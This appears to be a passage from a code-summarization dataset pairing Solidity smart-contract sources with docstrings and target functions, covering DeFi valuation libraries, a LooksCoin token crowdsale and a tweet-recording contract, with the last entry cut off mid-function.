return (x & 0xFF) + (x >> 128 & 0xFF);
}
// Does a binary search over x to get the position of the most significant bit
function getMSB(uint256 x) internal pure returns (uint256 msb) {
// If x == 0 then there is no MSB and this method will return zero. That would
// be the same as the return value when x == 1 (MSB is zero indexed), so instead
// we have this require here to ensure that the values don't get mixed up.
require(x != 0); // dev: get msb zero value
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
msb += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
msb += 64;
}
if (x >= 0x100000000) {
x >>= 32;
msb += 32;
}
if (x >= 0x10000) {
x >>= 16;
msb += 16;
}
if (x >= 0x100) {
x >>= 8;
msb += 8;
}
if (x >= 0x10) {
x >>= 4;
msb += 4;
}
if (x >= 0x4) {
x >>= 2;
msb += 2;
}
if (x >= 0x2) msb += 1; // No need to shift xc anymore
}
/// @dev getMSB returns a zero indexed bit number where zero is the first bit counting
/// from the right (little endian). Asset Bitmaps are counted from the left (big endian)
/// and one indexed.
function getNextBitNum(bytes32 bitmap) internal pure returns (uint256 bitNum) {
// Short circuit the search if bitmap is all zeros
if (bitmap == 0x00) return 0;
return 255 - getMSB(uint256(bitmap)) + 1;
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../balances/TokenHandler.sol";
import "../../math/SafeInt256.sol";
import "../../../interfaces/chainlink/AggregatorV2V3Interface.sol";
library ExchangeRate {
using SafeInt256 for int256;
/// @notice Converts a balance to ETH from a base currency. Buffers or haircuts are
/// always applied in this method.
/// @param er exchange rate object from base to ETH
/// @return the converted balance denominated in ETH with Constants.INTERNAL_TOKEN_PRECISION
function convertToETH(ETHRate memory er, int256 balance) internal pure returns (int256) {
int256 multiplier = balance > 0 ? er.haircut : er.buffer;
// We are converting internal balances here so we know they have INTERNAL_TOKEN_PRECISION decimals
// internalDecimals * rateDecimals * multiplier / (rateDecimals * multiplierDecimals)
// Therefore the result is in ethDecimals
int256 result =
balance.mul(er.rate).mul(multiplier).div(Constants.PERCENTAGE_DECIMALS).div(
er.rateDecimals
);
return result;
}
/// @notice Converts the balance denominated in ETH to the equivalent value in a base currency.
/// Buffers and haircuts ARE NOT applied in this method.
/// @param er exchange rate object from base to ETH
/// @param balance amount (denominated in ETH) to convert
function convertETHTo(ETHRate memory er, int256 balance) internal pure returns (int256) {
// We are converting internal balances here so we know they have INTERNAL_TOKEN_PRECISION decimals
// internalDecimals * rateDecimals / rateDecimals
int256 result = balance.mul(er.rateDecimals).div(er.rate);
return result;
}
/// @notice Calculates the exchange rate between two currencies via ETH. Returns the rate denominated in
/// base exchange rate decimals: (baseRateDecimals * quoteRateDecimals) / quoteRateDecimals
/// @param baseER base exchange rate struct
/// @param quoteER quote exchange rate struct
function exchangeRate(ETHRate memory baseER, ETHRate memory quoteER)
internal
pure
returns (int256)
{
return baseER.rate.mul(quoteER.rateDecimals).div(quoteER.rate);
}
/// @notice Returns an ETHRate object used to calculate free collateral
function buildExchangeRate(uint256 currencyId) internal view returns (ETHRate memory) {
mapping(uint256 => ETHRateStorage) storage store = LibStorage.getExchangeRateStorage();
ETHRateStorage storage ethStorage = store[currencyId];
int256 rateDecimals;
int256 rate;
if (currencyId == Constants.ETH_CURRENCY_ID) {
// ETH rates will just be 1e18, but will still have buffers, haircuts,
// and liquidation discounts
rateDecimals = Constants.ETH_DECIMALS;
rate = Constants.ETH_DECIMALS;
} else {
// prettier-ignore
(
/* roundId */,
rate,
/* uint256 startedAt */,
/* updatedAt */,
/* answeredInRound */
) = ethStorage.rateOracle.latestRoundData();
require(rate > 0, "Invalid rate");
// No overflow, restricted on storage
rateDecimals = int256(10**ethStorage.rateDecimalPlaces);
if (ethStorage.mustInvert) {
rate = rateDecimals.mul(rateDecimals).div(rate);
}
}
return
ETHRate({
rateDecimals: rateDecimals,
rate: rate,
buffer: ethStorage.buffer,
haircut: ethStorage.haircut,
liquidationDiscount: ethStorage.liquidationDiscount
});
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "./nTokenHandler.sol";
import "../portfolio/BitmapAssetsHandler.sol";
import "../../math/SafeInt256.sol";
import "../../math/Bitmap.sol";
library nTokenCalculations {
using Bitmap for bytes32;
using SafeInt256 for int256;
using AssetRate for AssetRateParameters;
using CashGroup for CashGroupParameters;
/// @notice Returns the nToken present value denominated in asset terms.
function getNTokenAssetPV(nTokenPortfolio memory nToken, uint256 blockTime)
internal
view
returns (int256)
{
int256 totalAssetPV;
int256 totalUnderlyingPV;
{
uint256 nextSettleTime = nTokenHandler.getNextSettleTime(nToken);
// If the first asset maturity has passed (the 3 month), this means that all the LTs must
// be settled except the 6 month (which is now the 3 month). We don't settle LTs except in
// initialize markets so we calculate the cash value of the portfolio here.
if (nextSettleTime <= blockTime) {
// NOTE: this condition should only be present for a very short amount of time, which is the window between
// when the markets are no longer tradable at quarter end and when the new markets have been initialized.
// We time travel back to one second before maturity to value the liquidity tokens. Although this value is
// not strictly correct the different should be quite slight. We do this to ensure that free collateral checks
// for withdraws and liquidations can still be processed. If this condition persists for a long period of time then
// the entire protocol will have serious problems as markets will not be tradable.
blockTime = nextSettleTime - 1;
}
}
// This is the total value in liquid assets
(int256 totalAssetValueInMarkets, /* int256[] memory netfCash */) = getNTokenMarketValue(nToken, blockTime);
// Then get the total value in any idiosyncratic fCash residuals (if they exist)
bytes32 ifCashBits = getNTokenifCashBits(
nToken.tokenAddress,
nToken.cashGroup.currencyId,
nToken.lastInitializedTime,
blockTime,
nToken.cashGroup.maxMarketIndex
);
int256 ifCashResidualUnderlyingPV = 0;
if (ifCashBits != 0) {
// Non idiosyncratic residuals have already been accounted for
(ifCashResidualUnderlyingPV, /* hasDebt */) = BitmapAssetsHandler.getNetPresentValueFromBitmap(
nToken.tokenAddress,
nToken.cashGroup.currencyId,
nToken.lastInitializedTime,
blockTime,
nToken.cashGroup,
false, // nToken present value calculation does not use risk adjusted values
ifCashBits
);
}
// Return the total present value denominated in asset terms
return totalAssetValueInMarkets
.add(nToken.cashGroup.assetRate.convertFromUnderlying(ifCashResidualUnderlyingPV))
.add(nToken.cashBalance);
}
/**
* @notice Handles the case when liquidity tokens should be withdrawn in proportion to their amounts
* in the market. This will be the case when there is no idiosyncratic fCash residuals in the nToken
* portfolio.
* @param nToken portfolio object for nToken
* @param nTokensToRedeem amount of nTokens to redeem
* @param tokensToWithdraw array of liquidity tokens to withdraw from each market, proportional to
* the account's share of the total supply
* @param netfCash an empty array to hold net fCash values calculated later when the tokens are actually
* withdrawn from markets
*/
function _getProportionalLiquidityTokens(
nTokenPortfolio memory nToken,
int256 nTokensToRedeem
) private pure returns (int256[] memory tokensToWithdraw, int256[] memory netfCash) {
uint256 numMarkets = nToken.portfolioState.storedAssets.length;
tokensToWithdraw = new int256[](numMarkets);
netfCash = new int256[](numMarkets);
for (uint256 i = 0; i < numMarkets; i++) {
int256 totalTokens = nToken.portfolioState.storedAssets[i].notional;
tokensToWithdraw[i] = totalTokens.mul(nTokensToRedeem).div(nToken.totalSupply);
}
}
/**
* @notice Returns the number of liquidity tokens to withdraw from each market if the nToken
* has idiosyncratic residuals during nToken redeem. In this case the redeemer will take
* their cash from the rest of the fCash markets, redeeming around the nToken.
* @param nToken portfolio object for nToken
* @param nTokensToRedeem amount of nTokens to redeem
* @param blockTime block time
* @param ifCashBits the bits in the bitmap that represent ifCash assets
* @return tokensToWithdraw array of tokens to withdraw from each corresponding market
* @return netfCash array of netfCash amounts to go back to the account
*/
function getLiquidityTokenWithdraw(
nTokenPortfolio memory nToken,
int256 nTokensToRedeem,
uint256 blockTime,
bytes32 ifCashBits
) internal view returns (int256[] memory, int256[] memory) {
// If there are no ifCash bits set then this will just return the proportion of all liquidity tokens
if (ifCashBits == 0) return _getProportionalLiquidityTokens(nToken, nTokensToRedeem);
(
int256 totalAssetValueInMarkets,
int256[] memory netfCash
) = getNTokenMarketValue(nToken, blockTime);
int256[] memory tokensToWithdraw = new int256[](netfCash.length);
// NOTE: this total portfolio asset value does not include any cash balance the nToken may hold.
// The redeemer will always get a proportional share of this cash balance and therefore we don't
// need to account for it here when we calculate the share of liquidity tokens to withdraw. We are
// only concerned with the nToken's portfolio assets in this method.
int256 totalPortfolioAssetValue;
{
// Returns the risk adjusted net present value for the idiosyncratic residuals
(int256 underlyingPV, /* hasDebt */) = BitmapAssetsHandler.getNetPresentValueFromBitmap(
nToken.tokenAddress,
nToken.cashGroup.currencyId,
nToken.lastInitializedTime,
blockTime,
nToken.cashGroup,
true, // use risk adjusted here to assess a penalty for withdrawing around the residual
ifCashBits
);
// NOTE: we do not include cash balance here because the account will always take their share
// of the cash balance regardless of the residuals
totalPortfolioAssetValue = totalAssetValueInMarkets.add(
nToken.cashGroup.assetRate.convertFromUnderlying(underlyingPV)
);
}
// Loops through each liquidity token and calculates how much the redeemer can withdraw to get
// the requisite amount of present value after adjusting for the ifCash residual value that is
// not accessible via redemption.
for (uint256 i = 0; i < tokensToWithdraw.length; i++) {
int256 totalTokens = nToken.portfolioState.storedAssets[i].notional;
// Redeemer's baseline share of the liquidity tokens based on total supply:
// redeemerShare = totalTokens * nTokensToRedeem / totalSupply
// Scalar factor to account for residual value (need to inflate the tokens to withdraw
// proportional to the value locked up in ifCash residuals):
// scaleFactor = totalPortfolioAssetValue / totalAssetValueInMarkets
// Final math equals:
// tokensToWithdraw = redeemerShare * scalarFactor
// tokensToWithdraw = (totalTokens * nTokensToRedeem * totalPortfolioAssetValue)
// / (totalAssetValueInMarkets * totalSupply)
tokensToWithdraw[i] = totalTokens
.mul(nTokensToRedeem)
.mul(totalPortfolioAssetValue);
tokensToWithdraw[i] = tokensToWithdraw[i]
.div(totalAssetValueInMarkets)
.div(nToken.totalSupply);
// This is the share of net fcash that will be credited back to the account
netfCash[i] = netfCash[i].mul(tokensToWithdraw[i]).div(totalTokens);
}
return (tokensToWithdraw, netfCash);
}
/// @notice Returns the value of all the liquid assets in an nToken portfolio which are defined by
/// the liquidity tokens held in each market and their corresponding fCash positions. The formula
/// can be described as:
/// totalAssetValue = sum_per_liquidity_token(cashClaim + presentValue(netfCash))
/// where netfCash = fCashClaim + fCash
/// and fCash refers the the fCash position at the corresponding maturity
function getNTokenMarketValue(nTokenPortfolio memory nToken, uint256 blockTime)
internal
view
returns (int256 totalAssetValue, int256[] memory netfCash)
{
uint256 numMarkets = nToken.portfolioState.storedAssets.length;
netfCash = new int256[](numMarkets);
MarketParameters memory market;
for (uint256 i = 0; i < numMarkets; i++) {
// Load the corresponding market into memory
nToken.cashGroup.loadMarket(market, i + 1, true, blockTime);
PortfolioAsset memory liquidityToken = nToken.portfolioState.storedAssets[i];
uint256 maturity = liquidityToken.maturity;
// Get the fCash claims and fCash assets. We do not use haircut versions here because
// nTokenRedeem does not require it and getNTokenPV does not use it (a haircut is applied
// at the end of the calculation to the entire PV instead).
(int256 assetCashClaim, int256 fCashClaim) = AssetHandler.getCashClaims(liquidityToken, market);
// fCash is denominated in underlying
netfCash[i] = fCashClaim.add(
BitmapAssetsHandler.getifCashNotional(
nToken.tokenAddress,
nToken.cashGroup.currencyId,
maturity
)
);
// This calculates for a single liquidity token:
// assetCashClaim + convertToAssetCash(pv(netfCash))
int256 netAssetValueInMarket = assetCashClaim.add(
nToken.cashGroup.assetRate.convertFromUnderlying(
AssetHandler.getPresentfCashValue(
netfCash[i],
maturity,
blockTime,
// No need to call cash group for oracle rate, it is up to date here
// and we are assured to be referring to this market.
market.oracleRate
)
)
);
// Calculate the running total
totalAssetValue = totalAssetValue.add(netAssetValueInMarket);
}
}
/// @notice Returns just the bits in a bitmap that are idiosyncratic
function getNTokenifCashBits(
address tokenAddress,
uint256 currencyId,
uint256 lastInitializedTime,
uint256 blockTime,
uint256 maxMarketIndex
) internal view returns (bytes32) {
// If max market index is less than or equal to 2, there are never ifCash assets by construction
if (maxMarketIndex <= 2) return bytes32(0);
bytes32 assetsBitmap = BitmapAssetsHandler.getAssetsBitmap(tokenAddress, currencyId);
// Handles the case when there are no assets at the first initialization
if (assetsBitmap == 0) return assetsBitmap;
uint256 tRef = DateTime.getReferenceTime(blockTime);
if (tRef == lastInitializedTime) {
// This is a more efficient way to turn off ifCash assets in the common case when the market is
// initialized immediately
return assetsBitmap & ~(Constants.ACTIVE_MARKETS_MASK);
} else {
// In this branch, initialize markets has occurred past the time above. It would occur in these
// two scenarios (both should be exceedingly rare):
// 1. initializing a cash group with 3+ markets for the first time (not beginning on the tRef)
// 2. somehow initialize markets has been delayed for more than 24 hours
for (uint i = 1; i <= maxMarketIndex; i++) {
// In this loop we get the maturity of each active market and turn off the corresponding bit
// one by one. It is less efficient than the option above.
uint256 maturity = tRef + DateTime.getTradedMarket(i);
(uint256 bitNum, /* */) = DateTime.getBitNumFromMaturity(lastInitializedTime, maturity);
assetsBitmap = assetsBitmap.setBit(bitNum, false);
}
return assetsBitmap;
}
}
} | Builds a portfolio array from storage. The new assets hint parameter will be used to provision a new array for the new assets. This will increase gas efficiency so that we don't have to make copies when we extend the array. | function buildPortfolioState(
address account,
uint8 assetArrayLength,
uint256 newAssetsHint
) internal view returns (PortfolioState memory) {
PortfolioState memory state;
if (assetArrayLength == 0) return state;
state.storedAssets = getSortedPortfolio(account, assetArrayLength);
state.storedAssetLength = assetArrayLength;
state.newAssets = new PortfolioAsset[](newAssetsHint);
return state;
}
| 12,169 |
//Address: 0x94394EbE010332c5A40d946658779d26dA3aC92B
//Contract name: LooksCoinCrowdSale
//Balance: 0 Ether
//Verification Date: 1/15/2018
//Transacion Count: 5
// CODE STARTS HERE
pragma solidity ^0.4.19;
/*
* LooksCoin token sale contract
*
* Refer to https://lookrev.com/tokensale/ for more information.
*
* Developer: LookRev
*
*/
/*
* ERC20 Token Standard
*/
contract ERC20 {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint256 public totalSupply;
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
}
/**
* Provides methods to safely add, subtract and multiply uint256 numbers.
*/
contract SafeMath {
/**
* Add two uint256 values, revert in case of overflow.
*
* @param a first value to add
* @param b second value to add
* @return a + b
*/
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
/**
* Subtract one uint256 value from another, throw in case of underflow.
*
* @param a value to subtract from
* @param b value to subtract
* @return a - b
*/
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
assert(a >= b);
return a - b;
}
/**
* Multiply two uint256 values, throw in case of overflow.
*
* @param a first value to multiply
* @param b second value to multiply
* @return a * b
*/
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
if (a == 0 || b == 0) return 0;
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* Divid uint256 values, throw in case of overflow.
*
* @param a first value numerator
* @param b second value denominator
* @return a / b
*/
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
assert(b != 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/*
Provides support and utilities for contract ownership
*/
contract Ownable {
address owner;
address newOwner;
function Ownable() {
owner = msg.sender;
}
/**
* Allows execution by the owner only.
*/
modifier onlyOwner {
require(msg.sender == owner);
_;
}
/**
* Transferring the contract ownership to the new owner.
*
* @param _newOwner new contractor owner
*/
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != 0x0) {
newOwner = _newOwner;
}
}
/**
* Accept the contract ownership by the new owner.
*
*/
function acceptOwnership() {
require(msg.sender == newOwner);
owner = newOwner;
OwnershipTransferred(owner, newOwner);
newOwner = 0x0;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
/**
* Standard Token Smart Contract
*/
contract StandardToken is ERC20, SafeMath {
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) balances;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) internal allowed;
/**
* Mapping from addresses of token holders to the mapping of token amount spent.
* Use by the token holders to spend their utility tokens.
*/
mapping (address => mapping (address => uint256)) spentamount;
/**
* Mapping of the addition of the addresse of buyers.
*/
mapping (address => bool) buyerAppended;
/**
* Mapping of the addition of addresses of buyers.
*/
address[] buyers;
/**
* Mapping of the addresses of VIP token holders.
*/
address[] vips;
/**
* Mapping for VIP rank for qualified token holders
* Higher VIP ranking (with earlier timestamp) has higher bidding priority when
* competing for the same product or service on platform.
* Higher VIP ranking address can outbid other lower ranking addresses only once per
* selling window or promotion period.
* Usage of the VIP ranking and bid priority will be described on token website.
*/
mapping (address => uint256) viprank;
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != 0x0);
if (balances[msg.sender] < _value) return false;
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != 0x0);
if(_from == _to) return false;
if (balances[_from] < _value) return false;
if (_value > allowed[_from][msg.sender]) return false;
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
*
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve(address _spender, uint256 _value) returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) {
return false;
}
if (balances[msg.sender] < _value) {
return false;
}
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* LooksCoin Token
*
* VIP ranking is recorded at the time when the token holding address first meet VIP coin
* holding level.
* VIP ranking is valid for the lifetime of a token wallet address, as long as it meets
* VIP coin holding level.
* VIP ranking is used to calculate priority when competing with other bids for the
* same product or service on the platform.
* Higher VIP ranking (with earlier timestamp) has higher priority.
* Higher VIP ranking address can outbid other lower ranking wallet addresse owners only once
* per selling window or promotion period.
* Usage of the LooksCoin, VIP ranking and bid priority will be described on token website.
*
*/
contract LooksCoin is StandardToken, Ownable {
uint256 public constant decimals = 0;
/**
* Minimium contribution to record a VIP rank
* Token holding address needs have at least 24000 LooksCoin to be ranked as VIP
* VIP rank can only be set through purchasing tokens
*/
uint256 public constant VIP_MINIMUM = 24000;
/**
* Initial number of tokens.
*/
uint256 constant INITIAL_TOKENS_COUNT = 100000000;
/**
* Crowdsale contract address.
*/
address public tokenSaleContract = 0x0;
/**
* Init Placeholder
*/
address coinmaster = address(0x33169f40d18c6c2590901db23000D84052a11F54);
/**
* Create new LooksCoin token Smart Contract.
* Contract is needed in _tokenSaleContract address.
*
* @param _tokenSaleContract of crowdsale contract
*
*/
function LooksCoin(address _tokenSaleContract) {
assert(_tokenSaleContract != 0x0);
owner = coinmaster;
tokenSaleContract = _tokenSaleContract;
balances[owner] = INITIAL_TOKENS_COUNT;
totalSupply = INITIAL_TOKENS_COUNT;
}
/**
* Get name of this token.
*
* @return name of this token
*/
function name() constant returns (string name) {
return "LooksCoin";
}
/**
* Get symbol of this token.
*
* @return symbol of this token
*/
function symbol() constant returns (string symbol) {
return "LOOKS";
}
/**
* @dev Set new sale manage contract.
* May only be called by owner.
*
* @param _newSaleManageContract new token sale manage contract.
*/
function setSaleManageContract(address _newSaleManageContract) {
require(msg.sender == owner);
assert(_newSaleManageContract != 0x0);
tokenSaleContract = _newSaleManageContract;
}
/**
* Get VIP rank of a given owner.
* VIP ranking is valid for the lifetime of a token wallet address,
* as long as it meets VIP holding level.
*
* @param _to participant address to get the vip rank
* @return vip rank of the owner of given address
*/
function getVIPRank(address _to) constant public returns (uint256 rank) {
if (balances[_to] < VIP_MINIMUM) {
return 0;
}
return viprank[_to];
}
/**
* Check and update VIP rank of a given token buyer.
* Contribution timestamp is recorded for VIP rank
* Recorded timestamp for VIP ranking should always be earlier than the current time
*
* @param _to address to check the vip rank
* @return rank vip rank of the owner of given address if any
*/
function updateVIPRank(address _to) returns (uint256 rank) {
// Contribution timestamp is recorded for VIP rank
// Recorded timestamp for VIP ranking should always be earlier than current time
if (balances[_to] >= VIP_MINIMUM && viprank[_to] == 0) {
viprank[_to] = now;
vips.push(_to);
}
return viprank[_to];
}
event TokenRewardsAdded(address indexed participant, uint256 balance);
/**
* Reward participant the tokens they purchased or earned
*
* @param _to address to credit tokens to the
* @param _value number of tokens to transfer to given recipient
*
* @return true if tokens were transferred successfully, false otherwise
*/
function rewardTokens(address _to, uint256 _value) {
require(msg.sender == tokenSaleContract || msg.sender == owner);
assert(_to != 0x0);
require(_value > 0);
balances[_to] = safeAdd(balances[_to], _value);
totalSupply = safeAdd(totalSupply, _value);
updateVIPRank(_to);
TokenRewardsAdded(_to, _value);
}
event SpentTokens(address indexed participant, address indexed recipient, uint256 amount);
/**
* Spend given number of tokens for a usage.
*
* @param _to address to spend utility tokens at
* @param _value number of tokens to spend
* @return true on success, false on error
*/
function spend(address _to, uint256 _value) public returns (bool success) {
require(_value > 0);
assert(_to != 0x0);
if (balances[msg.sender] < _value) return false;
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
spentamount[msg.sender][_to] = safeAdd(spentamount[msg.sender][_to], _value);
SpentTokens(msg.sender, _to, _value);
if(!buyerAppended[msg.sender]) {
buyerAppended[msg.sender] = true;
buyers.push(msg.sender);
}
return true;
}
function getSpentAmount(address _who, address _to) constant returns (uint256) {
return spentamount[_who][_to];
}
event Burn(address indexed burner, uint256 value);
/**
* Burn given number of tokens belonging to message sender.
* It can be applied by account with address this.tokensaleContract
*
* @param _value number of tokens to burn
* @return true on success, false on error
*/
function burnTokens(address burner, uint256 _value) public returns (bool success) {
require(msg.sender == burner || msg.sender == owner);
assert(burner != 0x0);
if (_value > totalSupply) return false;
if (_value > balances[burner]) return false;
balances[burner] = safeSub(balances[burner],_value);
totalSupply = safeSub(totalSupply,_value);
Burn(burner, _value);
return true;
}
function getVIPOwner(uint256 index) constant returns (address) {
return (vips[index]);
}
function getVIPCount() constant returns (uint256) {
return vips.length;
}
function getBuyer(uint256 index) constant returns (address) {
return (buyers[index]);
}
function getBuyersCount() constant returns (uint256) {
return buyers.length;
}
}
/**
* LooksCoin CrowdSale Contract
*
* The token sale controller, allows contributing ether in exchange for LooksCoin.
* The price (exchange rate with ETH) is 2400 LOOKS per ETH at crowdsale.
* VIP ranking is recorded at the time when the token holding address first meet VIP coin holding level.
* VIP ranking is valid for the lifetime of a token wallet address, as long as it meets VIP coin holding level.
* VIP ranking is used to calculate priority when competing with other bids for the
* same product or service on the platform.
* Higher VIP ranking (with earlier timestamp) has higher priority.
* Higher VIP ranking address can outbid other lower ranking addresses only once per selling window
* or promotion period.
* Usage of the LooksCoin, VIP ranking and bid priority will be described on token website.
*
* LooksCoin CrowdSale Bonus
*******************************************************************************************************************
* First Ten (10) VIP token holders get 20% bonus of the LOOKS tokens in their VIP addresses
* Eleven (11th) to Fifty (50th) VIP token holders get 10% bonus of the LOOKS tokens in their VIP addresses
* Fifty One (51th) to One Hundred (100th) VIP token holders get 5% bonus of the LOOKS tokens in their VIP addresses
*******************************************************************************************************************
*
* Bonus tokens will be distributed by coin master when LooksCoin has 100 VIP rank token wallet addresses
*
*/
contract LooksCoinCrowdSale {
LooksCoin public looksCoin;
ERC20 public preSaleToken;
// initial price in wei (numerator)
uint256 public constant TOKEN_PRICE_N = 1e18;
// initial price in wei (denominator)
uint256 public constant TOKEN_PRICE_D = 2400;
// 1 ETH = 2,400 LOOKS tokens
address saleController = 0x0;
// Amount of imported tokens from preSale
uint256 public importedTokens = 0;
// Amount of tokens sold
uint256 public tokensSold = 0;
/**
* Address of the owner of this smart contract.
*/
address fundstorage = 0x0;
/**
* States of the crowdsale contract.
*/
enum State{
Pause,
Init,
Running,
Stopped,
Migrated
}
State public currentState = State.Running;
/**
* Modifier.
*/
modifier onCrowdSaleRunning() {
// Checks, if CrowdSale is running and has not been paused
require(currentState == State.Running);
_;
}
/**
* Create new LOOKS token Smart Contract, make message sender to be the
* owner of smart contract, issue given number of tokens and give them to
* message sender.
*/
function LooksCoinCrowdSale() {
saleController = msg.sender;
fundstorage = msg.sender;
looksCoin = new LooksCoin(this);
preSaleToken = ERC20(0x253C7dd074f4BaCb305387F922225A4f737C08bd);
}
/**
* @dev Set new state
* @param _newState Value of new state
*/
function setState(State _newState)
{
require(msg.sender == saleController);
currentState = _newState;
}
/**
* @dev Set new token sale controller.
* May only be called by sale controller.
*
* @param _newSaleController new token sale controller.
*/
function setSaleController(address _newSaleController) {
require(msg.sender == saleController);
assert(_newSaleController != 0x0);
saleController = _newSaleController;
}
/**
* Set new wallet address for the smart contract.
* May only be called by smart contract owner.
*
* @param _fundstorage new wallet address of the smart contract
*/
function setWallet(address _fundstorage) {
require(msg.sender == saleController);
assert(_fundstorage != 0x0);
fundstorage = _fundstorage;
WalletUpdated(fundstorage);
}
event WalletUpdated(address newWallet);
/**
* saves info if account's tokens were imported from pre-CrowdSale
*/
mapping (address => bool) private importedFromPreSale;
event TokensImport(address indexed participant, uint256 tokens, uint256 totalImport);
/**
* Imports account's tokens from pre-Sale.
* It can be done only by account owner or CrowdSale manager
* @param _account Address of account which tokens will be imported
*/
function importTokens(address _account) returns (bool success) {
// only token holder or manager can do import
require(currentState == State.Running);
require(msg.sender == saleController || msg.sender == _account);
require(!importedFromPreSale[_account]);
// Token decimals in PreSale was 18
uint256 preSaleBalance = preSaleToken.balanceOf(_account) / TOKEN_PRICE_N;
if (preSaleBalance == 0) return false;
looksCoin.rewardTokens(_account, preSaleBalance);
importedTokens = importedTokens + preSaleBalance;
importedFromPreSale[_account] = true;
TokensImport(_account, preSaleBalance, importedTokens);
return true;
}
// fallback
function() public payable {
buyTokens();
}
event TokensBought(address indexed buyer, uint256 ethers, uint256 tokens, uint256 tokensSold);
/**
* Accept ethers to buy tokens during the token sale
* Minimium holdings to receive a VIP rank is 24000 LooksCoin
*/
function buyTokens() payable returns (uint256 amount)
{
require(currentState == State.Running);
assert(msg.sender != 0x0);
require(msg.value > 0);
// Calculate number of tokens for contributed wei
uint256 tokens = msg.value * TOKEN_PRICE_D / TOKEN_PRICE_N;
if (tokens == 0) return 0;
looksCoin.rewardTokens(msg.sender, tokens);
tokensSold = tokensSold + tokens;
// Transfer the contributed ethers to the crowdsale fundstorage
assert(fundstorage.send(msg.value));
TokensBought(msg.sender, msg.value, tokens, tokensSold);
return tokens;
}
}
| Transfer given number of tokens from message sender to given recipient. _to address to transfer tokens to the owner of _value number of tokens to transfer to the owner of given address return true if tokens were transferred successfully, false otherwise/ | function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != 0x0);
if (balances[msg.sender] < _value) return false;
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
| 6,429,623 |
pragma solidity >=0.4.0 <0.6.0;
pragma experimental ABIEncoderV2;
contract TweetVerifier {
// Type definitions
struct Author {
string name;
string nick;
bool verified;
}
struct Tweet {
string id;
uint time;
string message;
Author author;
}
struct TweetRecord {
uint timestamp;
Tweet tweet;
address sender;
}
// Storage
mapping (bytes32 => TweetRecord) records;
// Functionality
function saveTweet(string memory id, uint time, string memory message, string memory authorName, string memory authorNick, bool authorVerified)
public returns (bytes32)
{
// create id by using tweet data's hash
bytes32 recordId = keccak256(abi.encodePacked(id, time, message, authorNick));
// init and save TweetRecord
Author memory author = Author(authorName, authorNick, authorVerified);
Tweet memory tweet = Tweet(id, time, message, author);
records[recordId] = TweetRecord(now, tweet, msg.sender);
// return its id
return recordId;
}
function getTweet(bytes32 recordId) public view returns (TweetRecord memory) {
return records[recordId];
}
} | create id by using tweet data's hash init and save TweetRecord return its id | function saveTweet(string memory id, uint time, string memory message, string memory authorName, string memory authorNick, bool authorVerified)
public returns (bytes32)
{
bytes32 recordId = keccak256(abi.encodePacked(id, time, message, authorNick));
Author memory author = Author(authorName, authorNick, authorVerified);
Tweet memory tweet = Tweet(id, time, message, author);
